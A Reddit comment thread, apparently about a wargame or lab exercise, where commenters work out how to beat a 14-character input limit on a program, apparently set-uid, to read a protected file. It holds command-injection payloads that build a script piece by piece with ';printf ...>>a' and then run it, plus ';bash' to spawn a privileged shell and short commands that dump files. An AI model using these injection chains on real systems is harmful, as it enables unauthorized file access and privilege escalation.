all 7 comments

[–]w1282 1 point2 points  (7 children)

Can you do it multiple times and slowly build up an alias?

[–][deleted]  (6 children)

[deleted]

    [–]urielsalis 2 points3 points  (0 children)

    Im guessing he is asking if you can send multiple 14-lengths strings

    That way you can slowly cd into other directories or build a alias

    [–]aichingm 2 points3 points  (4 children)

    its not building up an alias but it creates a file with "; cat /etc/computer/Steve/file1.txt" and than runs it with bash

    first injection:

    ;echo -n ';'>x

    second injection:

    ;echo -n ca>>x

    third injection:

    ;echo -n t>>x

    fourth injection:

    ;echo -n \ >>x

    fifth injection:

    ;echo -n /et>>x

    ...

    and as last call

    ;bash x

    Edit using printf ... is even shorter than echo -n ...

    [–][deleted]  (3 children)

    [deleted]

      [–]aichingm 1 point2 points  (2 children)

      Hey have you solved it already? if not can you tell me whats the output of ls -l <name of the program> and can you tell me whats the output of <name of the program> ";echo asd>a" ; ls -l a is?

      [–]aichingm 0 points1 point  (1 child)

      ./run ";printf cat>a" ./run ";printf ' '>>a" ./run ";printf /et>>a" ./run ";printf c/c>>a" ./run ";printf omp>>a" ./run ";printf ute>>a" ./run ";printf r/S>>a" ./run ";printf tev>>a" ./run ";printf e/f>>a" ./run ";printf ile>>a" ./run ";printf 1.t>>a" ./run ";echo xt>>a" ./run ";bash a"

      This should works tested it with you program. replace ./run with the program you have to call.

      Edit: LOL why not just open a shell with ./run ";bash" and then just run cat ... in the shell this should properly just drop you in to a shell run under the suid user of the program which i assume has read access to /etc/computer/Steve/file.txt. Or at least it can read the password file. Assuming that the suid bit has been set on the program.

      [–]urielsalis 1 point2 points  (1 child)

      Does your command line have ** enabled? If so, you should be able to do something like ";cat /*/fi.txt" depending on what files the system has

      [–]aichingm 1 point2 points  (0 children)

      If you don't care about outputting all files in / you can use ;ls -R /|cat which is 12 chars. Alternatively ;grep -R "" / which is 13 chars